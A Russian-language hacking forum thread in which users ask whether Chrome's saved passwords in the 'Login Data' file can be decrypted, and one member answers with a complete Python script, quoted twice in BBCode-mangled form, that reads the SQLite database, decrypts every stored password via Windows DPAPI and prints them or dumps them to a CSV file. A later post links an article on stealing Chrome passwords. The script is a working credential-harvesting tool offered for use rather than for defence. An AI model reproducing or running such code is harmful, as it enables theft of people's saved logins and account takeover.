 |
|

08.11.2016, 14:25
|
|
Новичок
Регистрация: 15.06.2010
Сообщений: 0
С нами:
8372614
Репутация:
0
|
|
Где-то вычитал, что файлы от Google Chrome хранятся в файле Login Data, который находится здесь:
AppData\Local\Google\Chrome\User Data\Default
Может ли человек заменить эти файлы у себя на ПК и увидеть мои пароли в настройках Chrome?
|
|
|

17.11.2016, 02:44
|
|
Новичок
Регистрация: 13.11.2016
Сообщений: 3
С нами:
4999286
Репутация:
0
|
|
меня тоже мучает этот вопрос, а если быть конкретнее - ВОЗМОЖНО ЛИ РАСШИФРОВАТЬ СТРОКУ ПАРОЛЯ ИЛИ BLOB значение ??? Судя по статье хабра ,эта строка заширована в битах...если так ,то есть исходник для расшифровки битов с БД SQL3 типа. ...это для меня уже дело принципа...в одном месте пишут что возможно ...в другом что не возможно....ХОЧЕТСЯ ИСТИНЫ!!)
|
|
|

18.11.2016, 08:44
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Истина в том, что ВОЗМОЖНО.
|
|
|

18.11.2016, 10:59
|
|
Познавший АНТИЧАТ
Регистрация: 11.05.2013
Сообщений: 1,300
С нами:
6845366
Репутация:
17
|
|
1st: "No system is safe"
2nd: "Aim for the impossible"
3rd: "Have fun in cyberspace and meatspace"
|
|
|

11.12.2016, 01:43
|
|
Новичок
Регистрация: 13.11.2016
Сообщений: 3
С нами:
4999286
Репутация:
0
|
|
Сообщение от YaBtr
↑
Истина в том, что ВОЗМОЖНО.
подскажи как??? дай хоть какую нибудь зацепку для дальнейшего поиска моего ...или утилиту ..вообще было б огненно)
|
|
|

11.12.2016, 09:36
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от Troy Silvani
Troy Silvani said:
↑
подскажи как??? дай хоть какую нибудь зацепку для дальнейшего поиска моего ...или утилиту ..вообще было б огненно)
вот скриптик, только хром должен быть закрытым для его работы:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#gets saved passwords from Chrome #need to get Pywin32 python extension for this to work
[/COLOR][COLOR="#0000BB"]import os from sys import[/COLOR][COLOR="#007700"]exit [/COLOR][COLOR="#0000BB"]import sqlite3 from win32crypt import CryptUnprotectData import argparse
def chromepath[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]PathName[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]os[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'localappdata'[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#DD0000"]'\\Google\\Chrome\\User Data\\Default\\' [/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]os[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]isdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PathName[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]False[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Chrome not found'[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#FF8000"]#exit(0) [/COLOR][COLOR="#007700"]return[/COLOR][COLOR="#0000BB"]PathName
def main[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"]= [] [/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]chromepath[/COLOR][COLOR="#007700"]() [/COLOR][COLOR="#FF8000"]#path = "C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [/COLOR][COLOR="#007700"]try: [/COLOR][COLOR="#0000BB"]connection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sqlite3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]"Login Data"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#FF8000"]#connection = sqlite3.connect("C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data") [/COLOR][COLOR="#0000BB"]with connection[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]connection[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"]() [/COLOR][COLOR="#0000BB"]v[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT action_url, username_value, password_value FROM logins'[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]value[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]v[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]fetchall[/COLOR][COLOR="#007700"]()
for[/COLOR][COLOR="#0000BB"]i in value[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]CryptUnprotectData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] if[/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]append[/COLOR][COLOR="#007700"]({ [/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]) }) [/COLOR][COLOR="#0000BB"]except sqlite3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]OperationalError[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]: if ([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'database is locked'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Google Chrome can\'t be running at the same time'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]elif[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'no such table: logins'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Could not find database name'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]elif[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'unable to open database file'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Could not find database path'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) else: print([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) if[/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"]== []: print([/COLOR][COLOR="#DD0000"]'no passwords saved in Chrome'[/COLOR][COLOR="#007700"]) else: return[/COLOR][COLOR="#0000BB"]secret
def csv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]info[/COLOR][COLOR="#007700"]): [/COLOR][COLOR="#0000BB"]with open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'chromepasswordlist.csv'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'wb'[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'url,username,password \n'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'utf-8'[/COLOR][COLOR="#007700"])) for[/COLOR][COLOR="#0000BB"]data in info[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#DD0000"]'%s, %s, %s \n'[/COLOR][COLOR="#007700"]% ([/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]])).[/COLOR][COLOR="#0000BB"]encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'utf-8'[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]def args_parser[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]argparse[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ArgumentParser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]description[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"gets Chrome saved passwords"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]add_argument[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"-csv"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]help[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"Output to csv"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"store_true"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]args[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]parse_args[/COLOR][COLOR="#007700"]() if[/COLOR][COLOR="#0000BB"]args[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]csv[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]csv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]main[/COLOR][COLOR="#007700"]()) else: for[/COLOR][COLOR="#0000BB"]data in main[/COLOR][COLOR="#007700"](): print([/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]) print([/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"])
if[/COLOR][COLOR="#0000BB"]__name__[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'__main__'[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]args_parser[/COLOR][COLOR="#007700"]()[/COLOR][/COLOR]
там в соседних файлах и хистори можете посмотреть, аналогичная ситуация с оперой, с фаером не разбирался....
|
|
|

17.12.2016, 14:33
|
|
Постоянный
Регистрация: 18.07.2013
Сообщений: 300
С нами:
6747446
Репутация:
32
|
|
|
|
|

30.01.2017, 03:35
|
|
Новичок
Регистрация: 13.11.2016
Сообщений: 3
С нами:
4999286
Репутация:
0
|
|
Сообщение от winstrool
↑
вот скриптик, только хром должен быть закрытым для его работы:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#gets saved passwords from Chrome #need to get Pywin32 python extension for this to work
[/COLOR][COLOR="#0000BB"]import os from sys import[/COLOR][COLOR="#007700"]exit [/COLOR][COLOR="#0000BB"]import sqlite3 from win32crypt import CryptUnprotectData import argparse
def chromepath[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]PathName[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]os[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'localappdata'[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#DD0000"]'\\Google\\Chrome\\User Data\\Default\\' [/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]os[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]isdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PathName[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]False[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Chrome not found'[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#FF8000"]#exit(0) [/COLOR][COLOR="#007700"]return[/COLOR][COLOR="#0000BB"]PathName
def main[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"]= [] [/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]chromepath[/COLOR][COLOR="#007700"]() [/COLOR][COLOR="#FF8000"]#path = "C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [/COLOR][COLOR="#007700"]try: [/COLOR][COLOR="#0000BB"]connection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sqlite3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]"Login Data"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#FF8000"]#connection = sqlite3.connect("C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data") [/COLOR][COLOR="#0000BB"]with connection[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]connection[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"]() [/COLOR][COLOR="#0000BB"]v[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT action_url, username_value, password_value FROM logins'[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]value[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]v[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]fetchall[/COLOR][COLOR="#007700"]()
for[/COLOR][COLOR="#0000BB"]i in value[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]CryptUnprotectData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] if[/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]append[/COLOR][COLOR="#007700"]({ [/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]) }) [/COLOR][COLOR="#0000BB"]except sqlite3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]OperationalError[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]: if ([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'database is locked'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Google Chrome can\'t be running at the same time'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]elif[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'no such table: logins'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Could not find database name'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]elif[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'unable to open database file'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Could not find database path'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) else: print([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) if[/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"]== []: print([/COLOR][COLOR="#DD0000"]'no passwords saved in Chrome'[/COLOR][COLOR="#007700"]) else: return[/COLOR][COLOR="#0000BB"]secret
def csv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]info[/COLOR][COLOR="#007700"]): [/COLOR][COLOR="#0000BB"]with open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'chromepasswordlist.csv'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'wb'[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'url,username,password \n'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'utf-8'[/COLOR][COLOR="#007700"])) for[/COLOR][COLOR="#0000BB"]data in info[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#DD0000"]'%s, %s, %s \n'[/COLOR][COLOR="#007700"]% ([/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]])).[/COLOR][COLOR="#0000BB"]encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'utf-8'[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]def args_parser[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]argparse[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ArgumentParser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]description[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"gets Chrome saved passwords"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]add_argument[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"-csv"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]help[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"Output to csv"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"store_true"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]args[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]parse_args[/COLOR][COLOR="#007700"]() if[/COLOR][COLOR="#0000BB"]args[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]csv[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]csv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]main[/COLOR][COLOR="#007700"]()) else: for[/COLOR][COLOR="#0000BB"]data in main[/COLOR][COLOR="#007700"](): print([/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]) print([/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"])
if[/COLOR][COLOR="#0000BB"]__name__[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'__main__'[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]args_parser[/COLOR][COLOR="#007700"]()[/COLOR][/COLOR]
там в соседних файлах и хистори можете посмотреть, аналогичная ситуация с оперой, с фаером не разбирался....
спасибо друг, через какую прогу ее реализовать надо? borland не распознает команды
|
|
|

30.01.2017, 11:36
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
через питон, прицепи алгоритм переписать можно на любом языке....
|
|
|

30.01.2017, 17:02
|
|
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами:
6398966
Репутация:
154
|
|
https://codeby.net/forum/threads/vor...-chrome.58962/ - вот глянь статейку мою, гугл необязательно должен быть закрыт. Идея в том что протокол DPAPI который использует гугл для шифрования может расшифрован только на той машине на которой они были зашифрованы. Код там целый. Но как замечено переписать на чем угодно можно.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|